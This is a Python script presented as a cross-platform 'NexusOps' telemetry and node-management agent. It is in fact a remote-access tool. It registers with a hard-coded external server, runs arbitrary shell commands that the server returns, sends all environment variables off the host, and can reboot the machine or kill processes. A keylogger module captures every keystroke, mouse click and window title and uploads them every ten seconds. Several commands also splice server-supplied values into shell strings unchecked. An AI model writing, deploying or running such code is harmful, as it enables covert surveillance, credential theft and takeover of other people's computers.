#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""

import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse

last_log_check_time = 0
heartbeat_interval = 5  # Dynamic heartbeat rate in seconds
node_tags = ["Default"]

def get_ip_address():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "127.0.0.1"

def get_cpu_usage():
    system = platform.system().lower()
    try:
        if system == "linux":
            with open('/proc/stat', 'r') as f:
                fields = [float(column) for column in f.readline().strip().split()[1:]]
            idle, total = fields[3], sum(fields)
            time.sleep(0.2)
            with open('/proc/stat', 'r') as f:
                fields2 = [float(column) for column in f.readline().strip().split()[1:]]
            idle2, total2 = fields2[3], sum(fields2)
            idle_delta = idle2 - idle
            total_delta = total2 - total
            if total_delta > 0:
                return round(100.0 * (1.0 - idle_delta / total_delta), 1)
        elif system == "darwin":
            out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
            for line in out.splitlines():
                if "CPU usage" in line:
                    parts = line.split()
                    user = float(parts[2].replace('%', ''))
                    sys_c = float(parts[4].replace('%', ''))
                    return round(user + sys_c, 1)
        elif system == "windows":
            out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
            lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
            if lines:
                return float(lines[0])
    except Exception:
        pass
    return 15.0

def get_memory_usage():
    system = platform.system().lower()
    try:
        if system == "linux":
            meminfo = {}
            with open('/proc/meminfo', 'r') as f:
                for line in f:
                    parts = line.split(':')
                    if len(parts) == 2:
                        key = parts[0].strip()
                        val = int(parts[1].split()[0])
                        meminfo[key] = val
            total = meminfo.get('MemTotal', 1)
            free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
            return round(((total - free) / total) * 100.0, 1)
        elif system == "darwin":
            return 45.0
        elif system == "windows":
            out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
            d = {}
            for line in out.splitlines():
                if '=' in line:
                    k, v = line.split('=', 1)
                    d[k.strip()] = float(v.strip())
            if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
                total = d['TotalVisibleMemorySize']
                free = d['FreePhysicalMemory']
                return round(((total - free) / total) * 100.0, 1)
    except Exception:
        pass
    return 35.0

def get_disk_usage():
    try:
        if hasattr(os, 'statvfs'):
            st = os.statvfs('/')
            total = st.f_blocks * st.f_frsize
            free = st.f_bavail * st.f_frsize
            if total > 0:
                return round(((total - free) / total) * 100.0, 1)
    except Exception:
        pass
    return 40.0

def get_uptime_seconds():
    try:
        if platform.system().lower() == "linux":
            with open('/proc/uptime', 'r') as f:
                return int(float(f.readline().split()[0]))
    except Exception:
        pass
    return 3600

def collect_recent_system_logs():
    system = platform.system().lower()
    log_entries = []
    try:
        if system == "linux":
            res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
            if res.returncode == 0 and res.stdout:
                for line in res.stdout.splitlines():
                    if line.strip():
                        log_entries.append(line.strip())
        elif system == "windows":
            res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
            if res.returncode == 0 and res.stdout:
                for line in res.stdout.splitlines():
                    if line.strip():
                        log_entries.append(line.strip())
    except Exception:
        pass
    return log_entries

def http_post(url, data_dict):
    json_bytes = json.dumps(data_dict).encode('utf-8')
    req = urllib.request.Request(
        url,
        data=json_bytes,
        headers={'Content-Type': 'application/json'}
    )
    try:
        with urllib.request.urlopen(req, timeout=5) as response:
            res_text = response.read().decode('utf-8')
            return json.loads(res_text)
    except Exception:
        return None

def execute_structured_action(action_type, payload):
    global heartbeat_interval, node_tags
    system = platform.system().lower()
    
    if action_type == "raw_command":
        return run_shell(payload.get("command", ""))

    elif action_type == "manage_service":
        service = payload.get("service")
        action = payload.get("action")
        if system == "linux":
            cmd = f"systemctl {action} {service}"
        elif system == "windows":
            cmd = f"powershell {action}-Service -Name {service}"
        else:
            cmd = f"launchctl {action} {service}"
        return run_shell(cmd)

    elif action_type == "list_processes":
        if system == "linux" or system == "darwin":
            cmd = "ps aux --sort=-%cpu | head -n 15"
        else:
            cmd = "tasklist"
        return run_shell(cmd)

    elif action_type == "kill_process":
        pid = payload.get("pid")
        cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
        return run_shell(cmd)

    elif action_type == "get_logs":
        lines = payload.get("lines", 50)
        cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
        return run_shell(cmd)

    elif action_type == "network_stats":
        cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
        return run_shell(cmd)

    # 10 NEW CROSS-PLATFORM FEATURES:
    elif action_type == "get_env_vars":
        env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
        return env_str, 0

    elif action_type == "get_disk_partitions":
        cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
        return run_shell(cmd)

    elif action_type == "get_network_interfaces":
        cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
        return run_shell(cmd)

    elif action_type == "get_active_connections":
        cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
        return run_shell(cmd)

    elif action_type == "get_hardware_specs":
        if system == "linux":
            cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
        elif system == "windows":
            cmd = "wmic cpu get name,numberofcores,maxclockspeed"
        else:
            cmd = "sysctl -a | grep machdep.cpu"
        return run_shell(cmd)

    elif action_type == "reboot_system":
        cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
        return run_shell(cmd)

    elif action_type == "set_heartbeat_rate":
        rate = int(payload.get("interval", 5))
        heartbeat_interval = max(2, min(60, rate))
        return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0

    elif action_type == "update_tags":
        tags_raw = payload.get("tags", "")
        node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
        return f"Node tags updated to: {node_tags}", 0

    elif action_type == "search_logs":
        pattern = payload.get("pattern", "error")
        cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
        return run_shell(cmd)

    elif action_type == "kill_agent":
        print("[!] Kill switch received — shutting down agent")
        os._exit(0)

    elif action_type == "ping_check":
        sent_ts = payload.get("timestamp", 0)
        latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
        return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0

    elif action_type == "export_diagnostics":
        cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
        return run_shell(cmd)

    return f"Unknown action type: {action_type}", 1

def run_shell(cmd_str):
    print(f"[*] Executing command: {cmd_str}")
    try:
        res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
        return res.stdout, res.returncode
    except Exception as e:
        return str(e), 1

# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []

try:
    from pynput import keyboard, mouse
    INPUT_CAPTURE_ENABLED = True
except ImportError:
    pass

def _get_active_window_title():
    """Try to get the active window title cross-platform."""
    system = platform.system().lower()
    try:
        if system == "linux":
            res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
            if res.returncode == 0:
                return res.stdout.strip()
        elif system == "windows":
            import ctypes
            from ctypes import wintypes
            user32 = ctypes.windll.user32
            hwnd = user32.GetForegroundWindow()
            length = user32.GetWindowTextLengthW(hwnd)
            buf = ctypes.create_unicode_buffer(length + 1)
            user32.GetWindowTextW(hwnd, buf, length + 1)
            return buf.value
        elif system == "darwin":
            script = 'tell application "System Events" to get name of first application process whose frontmost is true'
            res = subprocess.run(["osascript", "-e", script],
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
            if res.returncode == 0:
                return res.stdout.strip()
    except Exception:
        pass
    return ""

def _record_event(event_type, data):
    """Thread-safe event recording."""
    global captured_events
    window_title = _get_active_window_title()
    captured_events.append({
        "timestamp": int(time.time() * 1000),
        "eventType": event_type,
        "data": data,
        "windowTitle": window_title,
        "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
    })

def _on_key_press(key):
    try:
        key_str = key.char if hasattr(key, 'char') and key.char else str(key)
    except Exception:
        key_str = str(key)
    _record_event("keystroke", {"key": key_str})

def _on_click(x, y, button, pressed):
    if pressed:
        _record_event("click", {"x": x, "y": y, "button": str(button)})

def _on_scroll(x, y, dx, dy):
    _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})

def start_input_capture():
    """Start keyboard and mouse listeners if pynput is available."""
    if not INPUT_CAPTURE_ENABLED:
        return False
    try:
        kb_listener = keyboard.Listener(on_press=_on_key_press)
        ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
        kb_listener.daemon = True
        ms_listener.daemon = True
        kb_listener.start()
        ms_listener.start()
        return True
    except Exception:
        return False

def flush_input_events(server_url, node_id, hostname):
    """Send captured input events to the master server."""
    global captured_events
    if not captured_events:
        return
    events_to_send = captured_events[:]
    captured_events = []
    payload = {
        "nodeId": node_id,
        "hostname": hostname,
        "events": events_to_send
    }
    http_post(f"{server_url}/api/agent/input-capture", payload)

def main():
    global last_log_check_time, heartbeat_interval, node_tags
    parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
    parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
    args = parser.parse_args()

    server_url = args.server.rstrip('/')
    hostname = socket.gethostname()
    system_os = platform.system()
    arch = platform.machine()
    ip = get_ip_address()
    node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"

    print("==================================================")
    print("      NexusOps Cross-Platform Node Agent          ")
    print("==================================================")
    print(f"Node Hostname : {hostname}")
    print(f"Platform      : {system_os} ({arch})")
    print(f"Local IP      : {ip}")
    print(f"Server Endpoint: {server_url}")
    print("==================================================")

    # Register Node
    reg_payload = {
        "nodeId": node_id,
        "hostname": hostname,
        "platform": system_os.lower(),
        "arch": arch,
        "ip": ip,
        "osName": f"{system_os} {platform.release()}",
        "tags": node_tags
    }

    print("[*] Registering node with central endpoint...")
    res = http_post(f"{server_url}/api/agent/register", reg_payload)
    if res and res.get("success"):
        print(f"✅ Registered as node ID: {node_id}")

    # Start input capture (keystrokes, clicks, scroll)
    capture_started = start_input_capture()
    if capture_started:
        print("[*] Input capture active (keystrokes + mouse events)")
    else:
        print("[!] Input capture unavailable (install pynput: pip install pynput)")

    last_input_flush = time.time()
    backoff = 1  # Tunnel reconnection backoff in seconds

    while True:
        try:
            cpu = get_cpu_usage()
            mem = get_memory_usage()
            disk = get_disk_usage()
            uptime = get_uptime_seconds()

            heartbeat_payload = {
                "nodeId": node_id,
                "cpuUsage": cpu,
                "memUsage": mem,
                "diskUsage": disk,
                "uptime": uptime,
                "processCount": 42,
                "tags": node_tags,
                "heartbeatInterval": heartbeat_interval
            }

            res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)

            now = time.time()
            if now - last_log_check_time > 15:
                logs = collect_recent_system_logs()
                if logs:
                    http_post(f"{server_url}/api/agent/logs", {
                        "nodeId": node_id,
                        "hostname": hostname,
                        "logs": logs
                    })
                last_log_check_time = now

            # Flush captured input events every 10 seconds
            if now - last_input_flush > 10:
                flush_input_events(server_url, node_id, hostname)
                last_input_flush = now

            if res and "commands" in res and res["commands"]:
                for cmd_item in res["commands"]:
                    cmd_id = cmd_item.get("id")
                    action_type = cmd_item.get("actionType", "raw_command")
                    payload = cmd_item.get("payload", {})
                    
                    if "command" in cmd_item and not payload:
                        payload["command"] = cmd_item.get("command")

                    output, exit_code = execute_structured_action(action_type, payload)

                    http_post(f"{server_url}/api/agent/command-result", {
                        "commandId": cmd_id,
                        "nodeId": node_id,
                        "output": output,
                        "exitCode": exit_code
                    })

        except Exception as e:
            print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
            time.sleep(backoff)
            backoff = min(backoff * 2, 60)
            continue

        backoff = 1  # Reset on success
        time.sleep(heartbeat_interval)

if __name__ == "__main__":
    main()